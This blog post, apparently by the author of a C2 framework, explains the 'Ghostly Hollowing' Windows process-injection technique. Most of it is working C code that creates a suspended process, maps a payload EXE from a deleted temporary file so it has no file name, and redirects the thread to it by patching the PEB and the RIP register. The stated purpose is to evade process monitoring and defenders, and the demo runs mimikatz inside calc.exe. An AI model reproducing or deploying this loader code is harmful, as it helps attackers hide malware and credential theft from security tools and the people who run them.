Ghostly Hollowing — probably the most bizarre Windows process injection technique I know
That title is not an exaggeration. I was looking at remote process injection techniques I could use in my C2 — Hydrangea. That’s when I came across Ghostly Hollowing.
What is Ghostly Hollowing?
File Mapping Object and its weird quirk
A “file mapping object” is something that can synchronize data between disk and memory.
As an example, say a process wants to load the contents of a file into its memory in such a way, that when it writes to that memory, the file contents get modified similarly. Moreover, say there is a 2nd process that wants to do the exact same. A file mapping object does the heavy lifting for you, ensuring that the contents of the file and the memories in both processes remain synchronised (identical), no matter who reads/writes into it. In this case, the file mapping object is said to be “backed by disk” (the file).
Here’s my question. Following the above logic, if you create a file mapping object backed by a file on disk, then delete the file, then try reading its contents from memory, it should fail, right? After all, it was backed by the file, and now the file itself is gone. So it fails, yeah?
Nope. It does not. Not only do the contents still remain, but you can also now map it to any process’s VA space. That’s the “ghost” in “ghostly hollowing”.
Process hollowing
It means exactly as it sounds. You hollow out a process, creating a space. Then you put your own executable image in that space, and let the process execute it. In essence, you just inject an EXE image inside another EXE image. When process monitoring softwares look at this, they still see the original EXE, not knowing that another internal EXE is running within it.
“Hollowing” need not always hollow out a process. The aim is to inject your own EXE image into the process, and redirect execution to it, yes? You can achieve this without removing the actual EXE image. This is stealthier, because the original image showing up is far less suspicious than no image showing up.
Ghost + Hollow ?
The idea is simple.
First, you create a “ghost file mapping object”, backed by an EXE that is currently deleted. Then you map it to the target process. This mapped memory won’t show up linked to a file, because the file does not exist. This hides the EXE name.
Second, you hijack the target process, and redirect its execution to the internal EXE image you just injected (mapped) above.
Writing a POC
Let’s tackle this constructively, step by step. Only the relevant code is mentioned in below sections. The complete POC is at the end.
Creating a new process
Theoretically, you can inject any process. For my demo, I’m choosing a new process. Injecting into existing processes may halt something vital and alert our fellow blue-teamers.
Ideally, we would like to capture the STDOUT and STDERR from the target process, in case we inject a console application. You will notice in my below code that I setup an anonymous pipe for this — target process writes into the pipe, and my process reads from this. Make sure the process launches with CREATE_NEW_CONSOLE
flag, else it would get the parent’s console.
In case the injected EXE requires command line arguments, it will look towards the process’s PEB, which contains command line given to the original EXE. So, say you wanna launch mimikatz.exe coffee
. What you must actually launch is benign_process.exe coffee
.
Lastly, the new process must be created in suspended mode, so that we get to hijack it before it even starts. We can hijack a running process too, by suspending any of its threads. In this case, I don’t want the original EXE to run at all.
BOOL CreateLegitProcess(IN PWCHAR imagePath, IN PWCHAR commandLineArgs, OUT PPROCESS_INFORMATION pProcessInformation, IN OUT PHANDLE phStdoutRead, IN OUT PHANDLE phStdoutWrite) {
// Initialise
BOOL isSuccess = FALSE;
DWORD imagePathLen = 0;
DWORD commandLineArgsLen = 0;
PWCHAR pCommandLine = NULL;
// Create startup info
STARTUPINFOW startupInfo;
RtlZeroMemory(&startupInfo, sizeof(STARTUPINFOW));
startupInfo.cb = sizeof(STARTUPINFOW);
//// Create anonymous pipe to capture STDOUT from process
SECURITY_ATTRIBUTES secAttr;
RtlZeroMemory(&secAttr, sizeof(SECURITY_ATTRIBUTES));
secAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
secAttr.bInheritHandle = TRUE;
secAttr.lpSecurityDescriptor = NULL;
if (!CreatePipe(phStdoutRead, phStdoutWrite, &secAttr, 0)) goto CLEANUP;
if (*phStdoutRead == NULL || *phStdoutWrite == NULL) goto CLEANUP;
startupInfo.hStdOutput = *phStdoutWrite;
startupInfo.hStdError = *phStdoutWrite;
startupInfo.dwFlags |= STARTF_USESTDHANDLES;
// Create process
imagePathLen = lstrlenW(imagePath);
commandLineArgsLen = lstrlenW(commandLineArgs);
pCommandLine = (PWCHAR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
(1 + imagePathLen + 1 + 1 + commandLineArgsLen + 1) * sizeof(WCHAR) // "imagePath" arg1
);
if (pCommandLine == NULL) goto CLEANUP;
lstrcatW(pCommandLine, L"\"");
lstrcatW(pCommandLine, imagePath);
lstrcatW(pCommandLine, L"\" ");
lstrcatW(pCommandLine, commandLineArgs);
if(!CreateProcessW(
imagePath,
pCommandLine,
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE | CREATE_SUSPENDED,
NULL,
L"C:\\Windows\\System32",
&startupInfo,
pProcessInformation
)) goto CLEANUP;
// If execution reaches here, all went fine
isSuccess = TRUE;
CLEANUP:
// Close write handles; child has already inherited them above
if(*phStdoutWrite != NULL)
CloseHandle(*phStdoutWrite);
if (pCommandLine != NULL)
HeapFree(GetProcessHeap(), 0, pCommandLine);
return isSuccess;
}
Creating a Ghost file mapping object
Now the fun part — creating a ghost file mapping object.
We will start with creating a temporary blank file, populating it with the to-be-injected EXE’s contents. Besides read/write permissions, we must also open it with DELETE
and SYNCHRONIZE
permissions, so we can actually delete it with the same file handle. For the deletion, I want it done the moment I close the file handle. For this, the FILE_FLAG_DELETE_ON_CLOSE
is used. But this waits for the process to close. Since we want it immediately deleted, we will also set a Disposition info for deletion.
Then we will create the File mapping object, backed by the above temporary EXE file. The SEC_IMAGE
flag is used to specify that what we are attempting to load is a PE image. This loads up our PE and lays it on memory correctly, and makes it executable. This loading is not stealthy if something reads this event from a kernel callback.
Then we close the file handle. This deletes the EXE file, but the file mapping object is still valid. We then use it to map the EXE contents to the new target process.
BOOL CreateGhostSection(IN LPVOID pPePayload, IN DWORD pePayloadSize, IN HANDLE hTargetProcess, OUT VOID **ppPePayloadInTargetBaseAddress) {
// Initialise
BOOL isSuccess = FALSE;
HANDLE hTempFile = NULL;
DWORD bytesWritten = 0;
HANDLE hFileMapping = NULL;
WCHAR tempFile[MAX_PATH] = L"";
WCHAR tempDir[MAX_PATH] = L"";
// Create temporary file
if (GetTempPath2W(MAX_PATH, tempDir) == 0) goto CLEANUP;
if (GetTempFileNameW(tempDir, L"", 0, tempFile) == 0) goto CLEANUP;
// Open handle to it
hTempFile = CreateFileW(
tempFile,
GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE,
NULL
);
if (hTempFile == NULL) goto CLEANUP;
// Set file to be deleted
FILE_DISPOSITION_INFO fileDispositionInfo;
fileDispositionInfo.DeleteFileW = TRUE;
if(!SetFileInformationByHandle(
hTempFile,
FILE_INFO_BY_HANDLE_CLASS::FileDispositionInfo,
&fileDispositionInfo,
sizeof(FILE_DISPOSITION_INFO)
)) goto CLEANUP;
// Write PE payload to the file
WriteFile(
hTempFile,
pPePayload,
pePayloadSize,
&bytesWritten,
NULL
);
if (bytesWritten != pePayloadSize) goto CLEANUP;
if(!FlushFileBuffers(hTempFile)) goto CLEANUP;
// Create section backed by the file
hFileMapping = CreateFileMappingW(
hTempFile,
NULL,
PAGE_READONLY | SEC_IMAGE,
0,
0,
NULL
);
if (hFileMapping == NULL) goto CLEANUP;
// Close file handle
CloseHandle(hTempFile);
hTempFile = NULL;
// Map PE contents to target process
*ppPePayloadInTargetBaseAddress = MapViewOfFile2(
hFileMapping,
hTargetProcess,
0,
NULL,
0,
0,
PAGE_READONLY
);
if (*ppPePayloadInTargetBaseAddress == NULL) goto CLEANUP;
// If execution reaches here, all went well
isSuccess = TRUE;
// Cleanup
CLEANUP:
if (hFileMapping != NULL)
CloseHandle(hFileMapping);
//// Return success status
return isSuccess;
}
Hijacking the new process
The target is now ready to be hijacked. Two things need to be done —
- Patching base address — ASLR causes modules to load at unpredictable base addresses. To deal with this, EXEs contain relocation data, which the loader uses to patch addresses correctly, relative to the random base address. Manually relocating is very noisy. Instead, we will patch the base address in the PEB (officially undocumented) to the address where we injected our EXE. Our EXE is the base now! No relocation necessary. The RDX register stores the address to the PEB.
- Patching instruction pointer — We set the main thread’s context such that the RIP register is updated. We must make it point to the address of entry point of our injected EXE. For this, we will parse our EXE and find out the entry point RVA from the Optional header in the NT header. If this seems confusing, read my earlier post about writing a PE loader from scratch.
BOOL HijackProcessExecution(HANDLE hTargetProcess, HANDLE hTargetThread, LPVOID addressOfEntryPoint, LPVOID addressOfImageBase) {
// Get main thread context
CONTEXT targetThreadContext;
RtlZeroMemory(&targetThreadContext, sizeof(CONTEXT));
targetThreadContext.ContextFlags = CONTEXT_ALL;
if(!GetThreadContext(hTargetThread, &targetThreadContext)) return FALSE;
// Patch PEB's BaseAddress
PPEB_DETAILED pPeb = (PPEB_DETAILED)(targetThreadContext.Rdx);
DWORD64 numOfBytesWrittenPatchPeb = 0;
if (!WriteProcessMemory(
hTargetProcess,
&(pPeb->ImageBaseAddress),
&addressOfImageBase,
sizeof(addressOfImageBase),
&numOfBytesWrittenPatchPeb
) || numOfBytesWrittenPatchPeb != sizeof(LPVOID))
return FALSE;
// Patch RIP to point to Entry point
targetThreadContext.Rip = (DWORD64)addressOfEntryPoint;
if(!SetThreadContext(hTargetThread, &targetThreadContext)) return FALSE;
// Resume process
return (ResumeThread(hTargetThread) == 1);
}
Demo
I ran my POC to inject and execute mimikatz.exe
in a calc.exe
(I know there are better choices for a sacrificial process; remember this is a demo ;)
Observe that the 1.4 MB image memory (highlighted blue) shows blank in the “Use” column. For other images, it shows the path to the module loaded. You can even see the original calc.exe
module loaded still. But the execution has moved now to this unnamed image memory. This is mimikatz!
Complete POC
My repository above also contains other techniques if you’re interested. I always keep it updated with stuff I keep learning.
References
- File mapping object: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga
- Pipe: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe
- PEB (better than Microsoft docs): http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProcess%2FPEB.html